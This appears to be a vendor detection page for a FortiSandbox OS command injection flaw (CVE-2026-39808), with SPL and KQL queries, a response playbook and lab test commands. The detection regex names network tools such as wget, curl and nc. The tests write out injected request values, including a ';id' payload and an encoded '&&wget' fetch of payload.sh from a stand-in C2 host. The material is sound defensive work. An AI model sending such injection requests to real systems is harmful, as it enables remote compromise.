CVE-2026-39808 Splunk · SPL

Detect Fortinet FortiSandbox OS Command Injection (CVE-2026-39808) in Splunk

Detects potential exploitation of CVE-2026-39808, an OS command injection vulnerability (CWE-78) in Fortinet FortiSandbox that allows an authenticated or unauthenticated attacker to execute arbitrary OS commands via crafted requests to the FortiSandbox management interface. This vulnerability is listed in CISA's Known Exploited Vulnerabilities (KEV) catalog and is subject to BOD 26-04 remediation timelines. Detection focuses on anomalous shell/command execution patterns originating from FortiSandbox processes, suspicious HTTP requests to the management interface containing shell metacharacters, and unexpected child processes spawned by FortiSandbox web/API services observed via syslog, proxy, or EDR telemetry on adjacent/monitoring hosts.

MITRE ATT&CK

Tactic
Initial Access Execution

SPL Detection Query

Splunk (SPL)
spl 
index=network_proxy OR index=firewall sourcetype=cef OR sourcetype=fortinet:fortisandbox
| eval decoded_url=urldecode(request_url)
| regex decoded_url="(;|\||&&|`|\$\(|%0a|%0d|/bin/(ba)?sh|wget\s|curl\s|nc\s|chmod\s\+x)"
| where match(decoded_url, "(?i)(/api|/sys|/cgi-bin)")
| table _time, src_ip, dest_ip, decoded_url, http_method, status
| sort -_time
critical severity medium confidence

Searches Splunk-ingested firewall/proxy/CEF logs for requests to FortiSandbox API or management endpoints containing shell metacharacters or reverse-shell/download primitives indicative of OS command injection exploitation.

Data Sources

Fortinet CEF logsWeb proxy logsFirewall logs

Required Sourcetypes

ceffortinet:fortisandboxfortinet:fortigate:traffic

False Positives & Tuning

  • Authorized vulnerability scanning traffic
  • Encoded parameters from legitimate file-upload workflows
  • Load balancer health checks with unusual query strings

Other platforms for CVE-2026-39808

Microsoft Sentinel (KQL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate command injection payload via HTTP request

    Expected signal: Proxy/firewall log entry with RequestURL containing ';id' directed at a lab FortiSandbox API endpoint

  2. Test 2Simulate reverse-shell download attempt via injected command

    Expected signal: Decoded URL parameter containing '&&wget' pattern logged in proxy/CEF logs; potential outbound connection to LAB-C2 in network logs

  3. Test 3Simulate suspicious child process spawn from FortiSandbox-named parent

    Expected signal: EDR process-creation event showing ParentBaseFileName 'fsav_httpd' spawning /bin/bash with CommandLine containing the test string

Last updated: 2026-07-17 Research depth: standard
References (4)

Response Playbook

Triage

  1. Confirm FortiSandbox version and build against Fortinet PSIRT advisory FG-IR-26-100 to determine if the appliance is within the affected/vulnerable range; check for available patches.
  2. Review FortiSandbox event logs, admin/API access logs, and any upstream proxy/firewall logs for requests to management or API endpoints containing shell metacharacters (;, |, &&, backticks) or download utilities (wget, curl).
  3. Check for unexpected outbound connections initiated from the FortiSandbox appliance (new destination IPs/domains, unusual ports) which may indicate a reverse shell or payload retrieval following successful command injection.
  4. Correlate FortiSandbox management-interface access with the source IP's history — determine if the request originated from an unauthenticated external address or a compromised internal host.

Containment

  1. If exploitation is confirmed or suspected, immediately restrict network access to the FortiSandbox management interface to trusted management-network IPs only, and disable any internet-facing exposure of the admin/API interface.
  2. Isolate the FortiSandbox appliance from production sandbox submission workflows and place it in a quarantined VLAN pending forensic review, while maintaining connectivity for incident responders.

Evidence Collection

  1. Export FortiSandbox system logs, event logs, and CLI command history for the affected time window; preserve original log files before any remediation actions.
  2. Capture a memory/process snapshot and disk image (or vendor-supported diagnostic bundle) of the FortiSandbox appliance if command execution is confirmed, prior to reboot or patching, to support root-cause analysis.

Escalation Criteria

  • !Escalate to incident response leadership if evidence shows successful command execution, new user/service accounts, modified cron jobs, or outbound C2-style connections from the FortiSandbox appliance.
  • !Escalate as a critical incident if the FortiSandbox management interface was internet-exposed, given active KEV exploitation status and CISA BOD 26-04 mandated remediation timelines.

Investigation Guide

Related Techniques

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Forensic Artifacts

  • >FortiSandbox system event logs and admin audit logs showing anomalous API/management requests
  • >Bash/shell history and cron job entries on the FortiSandbox appliance indicating attacker-created scheduled tasks or scripts
  • >Network flow logs showing outbound connections from the FortiSandbox management interface to unfamiliar external hosts

Tuning Guidance

Baseline expected administrative and integration traffic to the FortiSandbox management/API interface (e.g., SOAR integrations, scheduled scans) before enabling this rule in blocking/alerting mode, as legitimate automation may include special characters in query parameters. Tune out known vulnerability-scanner source IPs and adjust the shell-metacharacter regex list based on observed false positives. Prioritize alerts where the source IP is external/untrusted or where anomalous outbound connections from the FortiSandbox appliance follow the suspicious request.

Hunting Queries

Hunts for repeated/automated probing of the FortiSandbox management interface from a single source, which may represent reconnaissance or exploitation attempts preceding or following CVE-2026-39808 activity.

Hunting — KQL
kql 
CommonSecurityLog
| where DeviceProduct =~ "FortiSandbox"
| where isnotempty(RequestURL)
| summarize count() by SourceIP, RequestURL
| where count_ > 5
| order by count_ desc
Hunting — SPL
spl 
index=firewall sourcetype=cef DeviceProduct=FortiSandbox
| stats count by src_ip, request_url
| where count > 5
| sort -count

Atomic Red Team Tests

Test 1 Simulate command injection payload via HTTP request
linux

Sends a crafted HTTP GET request with shell metacharacters and a benign command to a lab FortiSandbox-like endpoint to validate detection of injection payload patterns.

Command

bash 
curl -s "http://LAB-FORTISANDBOX/api/v1/some_endpoint?file=test.txt;id"

Cleanup

bash 
No persistent changes; clear local shell history entry if desired: history -d $(history 1)

Expected Telemetry

Proxy/firewall log entry with RequestURL containing ';id' directed at a lab FortiSandbox API endpoint

Expected Detection

KQL/SPL rules matching shell-metacharacter patterns in FortiSandbox API request URLs should fire

Test 2 Simulate reverse-shell download attempt via injected command
linux

Simulates an attacker-injected wget/curl download command appended to a request parameter, mimicking payload-retrieval behavior post-exploitation in a lab environment.

Command

bash 
curl -s "http://LAB-FORTISANDBOX/sys/status?param=1%26%26wget%20http://LAB-C2/payload.sh"

Cleanup

bash 
Remove any downloaded test artifact on the lab host: rm -f /tmp/payload.sh

Expected Telemetry

Decoded URL parameter containing '&&wget' pattern logged in proxy/CEF logs; potential outbound connection to LAB-C2 in network logs

Expected Detection

Elastic EQL and Chronicle YARA-L rules matching download-utility strings in FortiSandbox-destined URLs should trigger

Test 3 Simulate suspicious child process spawn from FortiSandbox-named parent
linux

Emulates a shell process being spawned by a process named similarly to a FortiSandbox service, to validate EDR-based detection of post-exploitation command execution.

Command

bash 
bash -c 'exec -a fsav_httpd /bin/bash -c "echo simulated_injection_test"'

Cleanup

bash 
No persistent artifacts created; verify no residual background processes remain: pkill -f simulated_injection_test

Expected Telemetry

EDR process-creation event showing ParentBaseFileName 'fsav_httpd' spawning /bin/bash with CommandLine containing the test string

Expected Detection

CrowdStrike CQL rule matching suspicious child processes off FortiSandbox-named parents should generate an alert

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002Execution

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.004Unix Shell

Same Tactic: Initial Access

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